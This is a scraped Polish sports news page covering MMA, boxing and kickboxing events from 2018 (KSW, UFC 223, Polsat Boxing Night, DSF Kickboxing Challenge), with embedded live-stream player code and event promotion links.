Pierwszą walkę w 2018 roku stoczy Borys Mańkowski. Były mistrz wagi półśredniej wraca po dwóch porażkach. W superfight na gali KSW 39 przegrał z Mamedem Khalidovem, a w Katowicach (KSW 41) stracił pas na rzecz Roberto Soldicia. "Diabeł Tasmański" chce się odbudować i zapolować na tytuł.

W Ergo Arenie zobaczymy również starcie Tomasz Oświecińskiego z Erko Junem. Jeden z najbardziej znanych trenerów personalnych na świecie 9 czerwca zadebiutuje w MMA.

Fot. Marcin „Polish Zombie” Wrzosek Facebook

KM

Noc zemsty w Częstochowie

Gala Polsat Boxing Night 2018: Noc Zemsty, która odbędzie się w najbliższą sobotę (21 kwietnia) dla polskiego kibica boksu zapowiada się wyjątkowo. Przede wszystkim w ringu zaprezentuje się Tomasz Adamek, dla którego fani zarywali noce. Ponownie z Yourim Kalengą spotka się Mateusz Masternak. Co jeszcze czeka nas w Częstochowie?

Ringowy weteran, bo tak bez wątpienia można nazwać Adamka, wejdzie do ringu po raz 58 i zapoluje na 53 zwycięstwo. "Góral" już nic nie musi, ale cały czas chce boksować. Zwycięstwo z Joeyem Abellem to przepustka do kolejnych starć. W przypadku porażki Adamek będzie musiał zastanowić się nad swoją przyszłością. Trzeba przypomnieć, że wielu skazywało go już na emeryturę. Po porażce z Arturem Szpilką mistrz świata w wadze półciężkiej i junior ciężkiej sam podkreślał, że czas kończyć, ale wrócił. Pokonał Przemysława Saletę, ale został znokautowany przez Erica Molinę. Charakter i wola walki sprawiają, że nadal oglądamy go w ringu. Teraz Adamek sprawdzi się w starciu z młodszym o pięć lat Abellem. Ostatnio Amerykanin potężnie wstrząsnął Krzysztofem Zimnochem i Polak w trzeciej rundzie padł na deski. Abell wygrał 34 walki, z czego aż 32 przed czasem. Trudne wyzwanie przed Adamkiem, ale ten zawsze pokazywał, że chętnie je podejmuje.

Blisko cztery lata temu Mateusz Masternak przegrał niejednogłośnie na punkty z Yourim Kalengą. Tym samym Polakowi koło nosa przeszedł tymczasowy pas WBA wagi cruiser. W Częstochowie Masternak będzie miał okazję do rewanżu. Stawką pojedynku z Kalengą będzie pas mistrza Europy WBO. Kalenga zwraca na siebie uwagę, ale niekoniecznie ze względów sportowych. W styczniu w internecie pojawiło się nagranie, na którym 30-latek pochodzący z Demorkatycznej Republiki Kongo zniszczył Biblię i Nowy Testament. A w ringu Kalenga prezentuje się w kratkę. Z ostatnich trzech walk wygrał jedną, z kolei Masternak ma passę czterech wygranych z rzędu.

O międzynarodowe mistrzostwo Polski w kategorii junior ciężkiej będą rywalizować Adam Balski i Denis Grachev. Polak wraca do zmagań po kontuzji szczęki, której doznał w wygranym pojedynku z Demetriusem Banksem. Dla Balskiego będzie to dwunasta walka w zawodowej karierze. Grachev to doświadczony bokser, który prezentował się na ringach w Stanach Zjedonocznych, RPA czy Meksyku. Ostatnio przegrał z Węgrem Imre Szello.

Niepokonana Ewa Brodnicka stanie do pierwszej obrony mistrzostwa świata WBO w wadze super piórkowej. Polka na ring wraca po blisko rocznej przerwie. Jej rywalką będzie Sarah Pucek. 31-letnia Kanadyjka wygrała cztery walki z rzędu. Występ w Częstochowie będzie jej pierwszym w Europie.

Karta walk gali w Częstochowie:

Tomasz Adamek vs Joey Abell

Mateusz Masternak vs Youri Kalenga

Adam Balski vs Denis Grachev

Damian Jonak vs Lukas Ndafoluma

Ewa Brodnicka vs Sarah Pucek

Robert Parzęczewski vs Emmanuel Danso

Łukasz Wierzbicki vs Michał Żeromiński

Michał Chudecki vs Damian Wrzesiński

Fot. Tomasz Adamek „Goral” Facebook

KM

Półroczna „przerwa” Alvareza

Pięściarz Saul Alvarez został zawieszony na pół roku. To pokłosie wykrycia w jego organizmie zakazanych substancji. Powrót Meksykanina na ring ma nastąpić… 15 września.

Przypomnijmy, 27-letni Alvarez przygotowywał się do walki z Gienadijem Gołowkinem, które miała odbyć się 5 maja. Pięściarze rywalizowali we wrześniu ubiegłego roku w Las Vegas, a sędziowie ocenili pojedynek jako remisowy. Rewanż wydawał się sprawą oczywistą. Wszystko było zaplanowane, ale ustalenia pokrzyżowały wyniki badań antydopingowych Meksykanina. Dwukrotnie dały wynik pozytywny, a w organizmie Alvareza wykryto clenbuterol. Były mistrz WBC i WBA wagi junior średniej przekonywał, że to wina zanieczyszczonego mięsa. Pięściarz został tymczasowo zawieszony i postanowił wycofać się z walki z Gołowkinem.

Nad sprawą Meksykanina pochyliła się Komisja Stanu Nevada. Popularny "Canelo" został zawieszony na pół roku, ale kara liczy się od daty pierwszego pozytywnego wyniku badania. W związku z tym zawieszenie obowiązuje od 17 lutego. Zatem 1/3 kary już za Meksykaninem, a więc jego promotorzy myślą nad kolejną walką. Prawdopodobnie jeszcze w tym roku Alvarez stoczy 53 pojedynek w karierze. Według pierwszych informacji pojedynek miałby odbyć się 15 września, rywal nieznany.

Gołowkin zaprezentuje się w maju

Wobec problemów Alvareza "na lodzie" został Giennadij Gołowkin. Jednak mistrz świata IBF, WBA i WBC wagi średniej nie będzie nudził się 5 maja. W StubHub Center w Carson zmierzy się z Vanesem Martirosyanem.

36-letniemu Gołowkinowi bardzo zależało, aby wejść do ringu 5 maja. Trwały poszukiwania rywala. Wśród potencjalnych przeciwników mistrza wymieniani byli m.in. Billy Joe Saunders oraz Sergiy Derevyanchenko. Wybór padł jednak na Martirosyana, który w trzech ostatnich walkach zanotował dwie porażki.

Co ważne w kontekście najbliższej walki Gołowkina, ten może stracić pas IBF w wadze średniej. Zdaniem organizacji Kazach powinien zmierzyć się z Derevyanchenką, który jest obowiązkowym pretendentem do tytułu. A to zapewne jest w niesmak Gołowkinowi. Kazach marzy o zdominowaniu wagi średniej. W kolekcji brakuje mu jedynie pasa WBO.

Fot. Canelo Alvarez Facebook

KM

Tybura podpisał, kolejna walka niebawem?

Marcin Tybura będzie miał szansę, aby zrehabilitować się za dwie porażki z rzędu w UFC. Wszystke znaki na niebie i ziemi mówią, że polski zawodnik wagi ciężkiej podpisał umowę na kolejną walkę dla amerykańskiej organizacji. Z kolei nowy mistrz KSW w kategorii półśredniej stoczy pojedynek dla federacji EFE Worldwide.

Czas na wygraną

Trzeba jasno powiedzieć, że Marcin Tybura prezentuje się w UFC z dobrej strony. Z pewnością zawodnik marzył o innym wyniku debiutanckiej walki w amerykańskiej organizacji. 10 kwietnia 2016 roku na gali UFC Fight Night 92 Tybura decyzją sędziów przegrał z Timothy'm Johnsonem. Jednak kolejne występy w UFC potwierdziły, że Polak nieprzypadkowo dzierżył pas mistrzowski wagi ciężkiej w organizacji M-1 Global. Dwie wygrane walki przed czasem, z Viktorem Pestą oraz Luisem Henrique Barbosą de Oliveirą, okazały się dla Tybury przepustką do starcia z legendarnym Andrejem Arlovskim.

W Singapurze Polak stawił czoła byłemu mistrzowi wagi ciężkiej UFC. Zdecydowanie zaczął Arlovski, ale Tybura nie pozostawał bierny. W pierwszej rundzie złapał kopnięcie rywala i walka toczyła się w parterze. Tam Polak pokazał się z dobrej strony. Podobnie w trzeciej rundzie sprowadzał Amerykanina na ziemię, czym punktował w oczach sędziów. Ci zaś nie mieli wątpliwości i po trzech rundach wskazali na Tyburę. Tym zwycięstwem Polak ugruntował sobie pozycję w wadze ciężkiej. A zarazem zapracował na kolejne wyzwanie. Tym razem czekał na niego mocny Fabricio Werdum. Z Brazylijczykiem Polak sobie jednak nie poradził, tak jak i w lutym z Derrickiem Lewisem.

Tybura nadal jest jednym z czołowych zawodników wagi ciężkiej UFC, w rankingu zajmuje ósme miejsce. Najważniejsze, żeby teraz wrócił na właściwe tory. Wszystko wskazuje na to, że pierwszy krok został wykonany. Polak złożył podpis pod umową. – Podpisywanie kontraktów zawsze przynosi pozytywy. Co przyniesie mi tym razem? – zastanawia się zawodnik, który informację o zawarciu umowy podał na swoim Facebooku.

Zatem czekamy, aby zobaczyć Marcina Tyburę po raz siódmy w UFC.

Mistrz KSW poznał rywala

Kilka dni temu Dricus Du Plessis zachwycił Wrocław pokonując Roberto Soldicia i sięgając po pas mistrza KSW w wadze półśredniej. Nie wiadomo, kiedy zawodnik z RPA stanie do pierwszej obrony tytułu.

Pewne jest, że Du Plessis zaprezentuje się na gali EFC Worldwide. Zawodnik ma na swoim koncie pasy mistrzowskie w wadze średniej i półśredniej tejże organizacji. Jego najbliższym rywalem będzie Brendan Lesar.

Fot. Marcin Tybura Facebook

KM

DSF Kickboxing Challenge rośnie w siłę

Federacja DSF Kickboxing Challenge rozwija się dynamicznie i oferuje widowiska na najwyższym poziomie. W tym roku organizacja wyprowadziła trzy mocne ciosy w postaci ciekawych gal, a w maju odbędzie się kolejna. Na statku z napisem DSF pojawiają się nowi zawodnicy, którzy są gwarantem wysokiego poziomu sportowego. Tak jak miało to miejsce podczas gali na warszawskim Torwarze.

Pierwsza gala DSF Kicboxing Challenge odbyła się 27 września 2014 roku w hali sportowej w Ząbkach. Tydzień później Marcin Różalski rywalizował na KSW 28 z Peterem Grahamem. Lepszy okazał się Australijczyk. Minęło 3,5 roku i popularny "Różal" ponownie spotkał się z Grahamem, ale już będąc zawodnikiem federacji DSF Kickboxing Challenge. Gdy w listopadzie 2017 roku mistrz świata w kickboxingu podpisał umowę z organizacją Sławomira Duby, wielu nie ukrywało zaskoczenia. A okazało się, że to dopiero początek ofensywny DSF. Dawid Kasperski, Kamil Jenel, Daniel Omielańczuk, Paweł Biszczak, Karol Celiński czy Piotr Strus również zasilili organizację. Tych zawodników nikomu nie trzeba przedstawiać.

Ale DSF nadal zaskakuje. Sławomir Duba niczym wykwintny rybak zarzuca sieci i łowi najlepszych. DSF zapowiadało nowe twarze i w końcu federacja przedstawiła 12 fighterów, którzy do niej dołączyli! Iwona Nieroda, Ewa Pietrzykowska, Maciej Jewtuszko, Michał Kita, Tomasz Sarara, Arkadiusz Kaszuba, Michał Ronkiewicz, Wojciech Kazieczko , Bartosz Dołbień, Adam Dubin, Patryk Kuryłek i Łukasz Bartnik. Najkrócej mówiąc – jest w czym wybierać.

Nie da się ukryć, że federacja DSF Kickboxing Challenge już dawno przestała być anonimowa. Z pewnością wpływ na rozpoznawalność miały "transfery gwiazd". Jednak poziom sportowy gal przyciągał uwagę kibiców żądnych kickboxingu na najwyższym poziomie. Federacja DSF zdaje się tworzyć produkt kompletny. Stawia na sport na najwyższym poziomie. Wśród zawodników są młodzi i obiecujący, doświadczeni o określonym poziomie umiejętności, a także wielcy mistrzowie.

Federacja podejmuje również wyzwania na poziomie organizacyjnym. Gala DSF Kickboxing Challenge 14 na warszawskim Torwarze pokazała, że kibice są spragnieni kickboxingu. Ale ten sukces nie przyszedł sam. Ogromna promocja imprezy, przygotowanie mocnej karty walk, dbałość o szczegóły i stworzenie atmosfery wielkiego sportowego święta. Jednym słowem – DSF jest już na salonach, na których stawia mocne kroki.

Szkoda jedynie, że nie udało się doprowadzić do walki roku. Pierwotnie na warszawskim Torwarze "Różal" miał rywalizować z Jeromem Le Bannerem, ale Francuz w ostatniej chwili wypadł z powodu kontuzji. Zastąpił go Graham, a więc Polak miał okazję do rewanżu. Wykorzystał ją w 100%. W drugiej rundzie Różalski mocnym kopnięciem powalił rywala na matę. Dał jasny sygnał, że jest mocniejszy i w kolejnych minutach kontrolował walkę, a sędziowie jednogłośnie przyznali mu zwycięstwo. Drugą wygraną w DSF zanotował mający za sobą występy w UFC Daniel Omielańczuk.

Nieodłącznym elementem gal DSF są mecze międzypaństwowe. Tym razem w K-1 Polacy rywalizowali z Rosją, więc emocji nie mogło zabraknąć. Po dwóch walkach było gorąco, bo Mateusz Rajewski i Paweł Biszczak przegrali. Do gry pozwolił nam wrócić Kamil Jenel, który pokonał Aleksandra Zakharova. Kolejne walki dla Polaków, Dawida Kasperskiego i Karola Celińskiego, dzięki czemu to biało-czerwoni świętował zwycięstwo. W Warszawie mistrzem wagi ciężkiej został Piotr Romankevich, który w trzeciej rundzie znokautował Dawida Zółtaszka.

Kolejna gala DSF 18 maja. Czego się spodziewać? Z pewnością gwiazd, bo tych w ekipie Sławomira Duby nie brakuje. Dzięki DSF Kickboxing Challenge kickboxing coraz częściej będzie "zaglądał pod strzechy".

Fot. DSF Kickboxing Challenge Facebook

KM

Dwie walki o pas we Wrocławiu

14 kwietnia w Hali Stulecia we Wrocławiu gala KSW 43. Do pierwszej obrony pasa mistrzowskiego wagi półśredniej stanie Roberto Soldić, który zmierzy się z Dricusem du Plessisem. O tytuł w kategorii ciężkiej będą rywalizować Michał Andryszak i Philip de Fries.

W grudniu ubiegłego roku podczas gali KSW 41 w Katowicach Dricus Du Plessis miał rywalizować z Borysem Mańkowskim o pas wagi półśredniej. Na ostatniej prostej zawodnik z RPA doznał kontuzji i musiał wycofać się z rywalizacji. Jego miejsce zajął Roberto Soldić. Chorwat nie miał zbyt wiele czasu, ale podjął wyzwanie i pokazał wysokie umiejętności. W Katowicach okazał się lepszy od Mańkowskiego. Soldić był wyższy, bił mocniej i potwornie zmęczył Polaka, którego po trzeciej rundzie poddał narożnik. We Wrocławiu 23-letni Chorwat spotka się z Du Plessisem. Między zawodnikami zawrzało już w grudniu. Soldić po triumfie ruszył w stronę 24-latka, który wcześniej miał go prowokować. Co ciekawe, zawodnicy mogli spotkać się wcześniej, kiedy reprezentant RPA walczył dla organizacji Extreme Fighting Championship. Kontrakt nie został jednak podpisany, ale los chciał, żeby Soldić i Du Plessis spotkali się. Obaj mają passę siedmiu wygranych z rzędu. We Wrocławiu któryś z nich będzie musiał obejść się smakiem, ale emocje są gwarantowane, bo zawodnicy słyną z tego, że ich walki zazwyczaj kończą się przed czasem. Warto dodać, że żaden pojedynek Du Plessisa nie kończył się decyzją sędziów.

We Wrocławiu poznamy mistrza wagi ciężkiej. O miano najlepszego będą walczyć Michał Andryszak i Philip de Freis. 31-letni Anglik jest nowym nabytkiem KSW, ma za sobą występy w UFC. Ostatnio de Fries rywalizował na gali Bellator 191, podczas której pokonał w pierwszej rundzie Jamesa Thompsona. Z kolei Michał Andryszak po powrocie do KSW prezentuje się wyśmienicie. Dwie wygrane w pierwszych rundach – to najlepsze świadectwo możliwości Polaka. W ostatnim starciu Andryszak bardzo szybko, w zaledwie 26 sekund!, uporał się z Fernando Rodriguesem Jr. Potężny prawy, a następnie seria ciosów w parterze sprawiły, że Brazylijczyk przez chwilę leżał nieruchomo na deskach. Polak podkreśla, że zmierza po pas. Czy Anglik mu zagrozi? De Fries zapewnia, że walka nie potrwa długo. Czy temperatura sięgnie zenitu?

Trzecią walkę w MMA stoczy Damian Janikowski. Czy ponownie zaprezentuje się efektownie i wygra przed czasem? Były zapaśnik zmierzy się z Yannickiem Bahatim, który ma za sobą dwie porażki z rzędu. Ostatnio wygrał w maju 2017. Jednak Bahati to doświadczony zawodnik, który był mistrzem takich organizacji jak EFC i BAMMA.

Artur Sowiński będzie walczył o zwycięstwo w starciu z 20-letni Salahdinem Parnasse. Trzy porażki z rzędu zanotował Łukasz Chlewicki. "Sasza" postara się przerwać tę fatalną serię, ale Norman Parke nie ułatwi mu zadania.

Karta walk KSW 43:

Damian Janikowski – Yannick Bahati

Michał Andryszak – Philip de Freis

Roberto Soldic – Dricus Du Plessis

Artur Sowiński – Salahdine Parnasse

Łukasz Chlewicki – Norman Parke

Michał Michalski – David Zawada

Kamil Selwa – Antun Racic

Maciej Kazieczko – Maciej Kaliciński

Fot. Facebook Michał „Longer” Andryszak

KM

Hit w Ergo Arenie

Od dawna mówiło się o potencjalnej walce Mariusza Pudzianowskiego z Karolem Bedorfem. Klamka zapadła – fighterzy spotkają się 9 czerwca w walce wieczoru gali KSW 44 w Ergo Arenie w Gdańsku.

Historia zaczęła się od wyzwania, które Pudzianowski rzucił byłemu mistrzowi wagi ciężkiej. Pierwotnie mówiło się, że do pojedynku może dojść podczas gali KSW 42 w Łodzi. Tak się jednak nie stało. Wszyscy jednak czekali, kiedy właściciele KSW ogłoszą hitowe starcie. Zapowiadano, że do spotkania Pudzianowskiego i Bedorfa dojdzie najpóźniej w połowie roku. Zatem 9 czerwca przekonamy się, który z zawodników ma większą moc i dopisze kolejną wygraną do swojego rekordu.

Dwóch potężnych wojowników, którzy postawią na szali wszystko. Zwycięzca prawdopodobnie utoruje sobie drogę do rywalizacji o pas mistrzowski w wadze ciężkiej. Z pewnością za tytułem tęskni Karol Bedorf. 34-letni szczecinianin był najdłużej panującym mistrzem wagi ciężkiej w historii KSW. Tytuł wywalczył pokonując legendę polskiego judo Pawła Nastulę. We wrześniu 2013 roku Bedorf zasiadł na tronie odprawiając rywala w drugiej rundzie. Po potężnym ciosie szczecinianina, Nastula znalazł się za linami. Bedorf trzykrotnie udanie bronił pasa mistrzowskiego i co istotne – za każdym razem wygrywał przed czasem. W końcu trafił na rywala, który znalazł na niego sposób. W Krakowie (KSW 37) Bedorf przegrał w drugiej rundzie z Fernando Rodriguesem Jr.

Mariusz Pudzianowski również może pochwalić się odprawieniem Pawła Nastuli. Jednak ma mniejsze doświadczenie w MMA niż rywal, z którym przyjdzie mu się zmierzyć 9 czerwca. Wszyscy pamiętają debiut Pudzianowskiego w KSW, kiedy to na gali numer dwanaście szybko rozprawił się z Marcinem Najmanem. Początki Pudzianowskiego w MMA to sinusoida, jednak z każdą walką były strongman nabierał ogłady i pewności siebie. Wygrana walka rewanżowa z Sean'em McCorkle'm była początkiem zwycięskiej passy. Polak triumfował w czterech kolejnych pojedynkach, jednak zatrzymali go Peter Graham i Marcin Różalski. Obecnie Pudzianowski jest w gazie po trzech wygranych walkach z rzędu.

Zanim dojdzie do gali KSW 44, najpierw emocje we Wrocławiu. 14 kwietnia w Hali Stulecia KSW 43. W akcji zobaczymy m.in. Damiana Janikowskiego, Artura Sowińskiego czy Łukasza Chlewickiego. W walce wieczoru spotkają się Roberto Soldić i Dricus Du Plessis, a stawką pojedynku będzie pas mistrzowski w kategorii półśredniej należący do Chorwata.

Fot. Mariusz Pudzianowski Facebook

KM

 

Czy Jędrzejczyk powróci na tron?

To pytanie zadają sobie kibice MMA, którzy odliczają godziny do rewanżowej walki Joanny Jędrzejczyk z Rose Namajunas. Na gali UFC 223 w Barclays Center zaprezentuje się również Karolina Kowalkiewicz.

7 kwietnia będzie prawdziwym testem dla Rose Namajunas. Tak, właśnie dla mistrzyni wagi słomkowej UFC. Przede wszystkim skupiamy się na Joannie Jędrzejczyk i sercem jesteśmy z nią. Polka ma szansę wrócić na szczyt, jednak to na Namajunas spoczywa dodatkowa presja. Mistrzyni musi udowodnić, że na tytuł zasłużyła i ma mentalność zwyciężczyni. Podczas konferencji prasowej przed walką Namajunas mówiła mało. To nic złego. W końcu chodzi o to, aby swoje atuty pokazać w oktagonie. Pokonując w listopadzie ubiegłego roku Jędrzejczyk, 25-latka weszła do pierwszej ligi kobiecego MMA.

Jak wyglądała pierwsza walka? Amerykanka odważnie ruszyła na Polkę i zdominowała ją. W pierwszej rundzie Namajunas trafiła Jędrzejczyk lewym sierpowym na szczękę, a potem nie miała litości w parterze i olsztynianka odklepała. Z pewnością Polka wyciągnęła wnioski z pierwszej porażki w karierze i nie będzie za wszelką cenę dążyła do wymian, które mogą mieć fatalne skutki. Jędrzejczyk umie gospodarować siłami i ugryźć w odpowiednim momencie.

30-letnia Polka pięć razy skutecznie broniła pasa mistrzowskiego, łącznie wygrała osiem walk w UFC. To są atuty przemawiające na korzyść Jędrzejczyk. Jednak teraz mistrzynią jest Namajunas, która potrafi w efektowny sposób zakończyć walkę. Druga odsłona rywalizacji o pas wagi słomkowej coraz bliżej. Obie zawodniczki mają swoje przemyślenia, znają się doskonale. Pytanie brzmi – która wytrzyma wojnę nerwów i wykorzysta moment zawahania rywalki?

Kolejny polski akcent

Zanim do oktagonu wejdzie Joanna Jędrzejczyk, siódmy pojedynek w UFC stoczy Karolina Kowalkiewicz. Rywalką 32-letniej Polki będzie Felice Herrig. 33-letnia Amerykanka jest w dobrej dyspozycji, o czym świadczą cztery wygrane z rzędu. W UFC Herrig poniosła tylko jedną porażkę. W kwietniu 2015 roku uległa Paige Van Zant. Z kolei Polka odrodziła się w ostatnim starciu, kiedy to pokonała Jodei Esquibel. Wcześniej zanotowała dwie porażki – z Joanną Jędrzejczyk i Claudią Gadelhą.

Walka wieczoru

Głównym daniem wieczoru gali UFC 223 będzie pojedynek o pełnoprawny tytuł mistrzowski kategorii lekkiej pomiędzy niepokonanym Khabibem Nurmagomedovem a Maxem Holloway'em.  Pierwotnie Rosjanin miał rywalizować z Tonym Fergusonem, ale ten zerwał więzadła w kolanie. Ale wartość pojedynku o pas nie spadła. Miejsce Fergusona zajął Max Holloway, który ostatnio dwukrotnie pokonał Jose Aldo. Jeśli wygra Amerykanin, będzie miał na swoim koncie dwa pasy mistrzowskie. Obecnie posiada tytuł w wadze piórkowej.

KM

Zanieczyszczone mięso a odwołana walka

Saul Alvarez na zakręcie. 5 maja miał stoczyć rewanżowy bój z Giennadijem Gołowkinem, ale w tle pojawiły się niedozwolone środki. Meksykanin postanowił zrezygnować z potyczki z Kazachem i podkreśla, że jest czysty. Winne zamieszania ma być zanieczyszczone mięso.

Jeszcze niedawno siedzieliśmy za świątecznymi stołami, które uginały się od nadmiaru jedzenia. Spróbowaliśmy to tego, to tamtego. Oczywiście – ze smakiem. Gorzej, że później pojawiły się bóle brzucha, zgaga i tym podobne. Mięta, lekki na wzdęcia były wtedy w cenie. Saul Alvarez, swego czasu bokserski mistrz WBC i WBA w wadze junior średniej, wpadł w tarapaty. Miał być jednym z aktorów majowego hitu, a stał się czarną owcą. Wszystko przez pozytywny wynik badań antydopingowych.

Luty. Badania antydopingowe nie pozostawiają złudzeń. W organizmie popularnego "Canelo" wykryto clenbuterol. Badania dwukrotnie dały wynik pozytywny. Komisja Sportowa Stanu Nevada podjęła decyzję o tymczasowym zawieszeniu boksera, a ostateczną decyzję Meksykanin ma poznać 18 kwietnia. Mówi się, że grozi mu roczna dyskwalifikacja.

W związku z powyższym pod znakiem zapytania stanęła rewanżowa walka Alvareza z Giennadijem Gołowkinem, którą zaplanowano na 5 maja w MGM Grand w Las Vegas. Pięściarze spotkali się we wrześniu ubiegłego roku, ale wtedy pojedynek sędziowie ocenili jako remisowy. Gołowkin zachował pasy mistrza świata w wadze średniej organizacji WBC, WBA, IBF i IBO, jednak wyraził chęć rewanżu. Alvarez nie ukrywał rozczarowania, bo jego zdaniem zaprezentował się lepiej od rywala. Wszyscy czekali na wielki rewanż, ale przeszedł on wszystkim… koło nosa. „Canelo” oficjalnie ogłosił, że rezygnuje ze starcia. Postanowił sam się wycofać, a nie czekać na decyzję komisji.

Teraz Alvarezowi pozostała walka o dobre imię. Meksykanin zapewnia, że jest czysty, a niedozwolone środki w jego organizmie to wina zanieczyszczonego mięsa. – Zawsze byłem i będę czystym zawodnikiem. Chcę przeprosić HBO, MHM, Tecaste, Hennessy, sponsorów, zaangażowanych w wydarzenie i kibiców za to, że w maju nie dojdzie do planowanej walki. W ringu nikogo nie zawiodłem i nie zawiodę – powiedział Saul Alvarez.

Meksykanin wierzy, że rewanżowe starcie z Gołowkinem jest możliwe. Tyle, że w innym terminie. 36-letni Kazach myślami jest jednak przy 5 maja. – Po raz dwudziesty będę bronił pasów 5 maja w Las Vegas. Skończmy ten teatr i zajmijmy się boksem – zaznacza Gołowkin.

Najprawdopodobniej Kazach zmierzy się w Las Vegas z Garym O'Sullivanem.

Fot. Canelo Alvarez Facebook

KM

LIVE: Mistrzostwa Polski Low-Kick, Legnica 2018 Day 1 Ring 1

Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Low-Kick, które odbywają się w Legnicy.

[kod]

Mistrzostwa Polski Low-Kick Day 1 Ring 1

Mistrzostwa Polski Low-Kick Day 1 Ring 1

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Mistrzostwa Polski Low-Kick, Legnica 2018 Day 1 Ring 2

Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Low-Kick, które odbywają się w Legnicy.

[kod]

Mistrzostwa Polski Low-Kick Day 1 Ring 2

Mistrzostwa Polski Low-Kick Day 1 Ring 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream2/live.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream2/live.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream2/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Mistrzostwa Polski Low-Kick, Legnica 2018 Day 2 Ring 1

Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Low-Kick, które odbywają się w Legnicy.

[kod]

Mistrzostwa Polski Low-Kick Day 1 Ring 2

Mistrzostwa Polski Low-Kick Day 1 Ring 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Mistrzostwa Polski Low-Kick, Legnica 2018 Day 2 Ring 2

Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Low-Kick, które odbywają się w Legnicy.

[kod]

Mistrzostwa Polski Low-Kick Day 2 Ring 2

Mistrzostwa Polski Low-Kick Day 2 Ring 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream2/live.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream2/live.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream2/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Mistrzostwa Polski Low-Kick, Legnica 2018 Final Block

Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Low-Kick, które odbywają się w Legnicy.

[kod]

Mistrzostwa Polski Low-Kick Gala Finałowa

Mistrzostwa Polski Low-Kick Gala Finałowa

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

DSF Kickboxing Challenge 14 – mecz Polska vs Rosja

13 kwietnia na gali DSF Kickboxing Challenge 14 w Warszawie odbędzie się międzynarodowy mecz K-1: Polska-Rosja. Wystawiamy na to spotkanie nasze najcięższe działa: Mateusz Rajewski (65 kg), Paweł Biszczak (75 kg), Kamil Jenel (81 kg), Dawid Kasperski (86 kg) i Karol Celiński (91 kg). 

Bilety: http://bit.ly/2HmZGW6

DSF Kickboxing Challenge to nowa szata kickboxingu w Polsce. Zawodowe walki K-1, Muay Thai i Full-Contact na światowym poziomie. Śledź nas w mediach:

http://dsfchallenge.com
https://twitter.com/dsf_kickboxing
https://www.facebook.com/DSFKickboxingChallenge
https://www.instagram.com/dsfkickboxing/

[kod]

DSF 14 – Różal o walce z Le Bannerem

13 kwietnia na gali DSF Kickboxing Challenge 14 w Warszawie odbędzie się międzynarodowy mecz K-1: Polska-Rosja. Wystawiamy na to spotkanie nasze najcięższe działa: Mateusz Rajewski (65 kg), Paweł Biszczak (75 kg), Kamil Jenel (81 kg), Dawid Kasperski (86 kg) i Karol Celiński (91 kg). 

Bilety: http://bit.ly/2HmZGW6

DSF Kickboxing Challenge to nowa szata kickboxingu w Polsce. Zawodowe walki K-1, Muay Thai i Full-Contact na światowym poziomie. Śledź nas w mediach:

http://dsfchallenge.com
https://twitter.com/dsf_kickboxing
https://www.facebook.com/DSFKickboxingChallenge
https://www.instagram.com/dsfkickboxing/

[kod]

TRAILER: DSF 14 – Różalski Le Banner

Torwar zapłonie 13 kwietnia podczas gali DSF Kickboxing Challenge 14! Walka wieczoru: Marcin "Różal" Różalski kontra Jerome Le Banner. Wcześniej wystąpią gwiazdy polskiego, europejskiego i światowego K-1, a w meczu międzynarodowym reprezentacja Polski zmierzy się z Rosją!

Bilety na #DSF14 dostępne w cenie od 70 PLN na http://bit.ly/2IFK2qu oraz http://bit.ly/2HmZGW6

DSF Kickboxing Challenge to nowa szata kickboxingu w Polsce. Zawodowe walki K-1, Muay Thai i Full-Contact na światowym poziomie. Śledź nas w mediach:

http://dsfchallenge.com
https://twitter.com/dsf_kickboxing
https://www.facebook.com/DSFKickboxingChallenge
https://www.instagram.com/dsfkickboxing/

[kod]

Polacy szaleli w Sarajewie

Znakomity występ polskich judoków w Pucharze Europy juniorów w Sarajewie. Biało-czerwoni zdobyli aż trzynaście medali. Po złoto sięgnął Krzysztof Załęczny (+100kg).

Polacy zdobyli najwięcej medali spośród wszystkich nacji, które zaprezentowały się w Sarajewie, ale wywalczyli tylko jeden krążek z najcenniejszego kruszca. Dwa złota na swoim koncie zapisali Rosjanie, a po cztery Kanada i Turcja, która triumfowała w klasyfikacji medalowej.

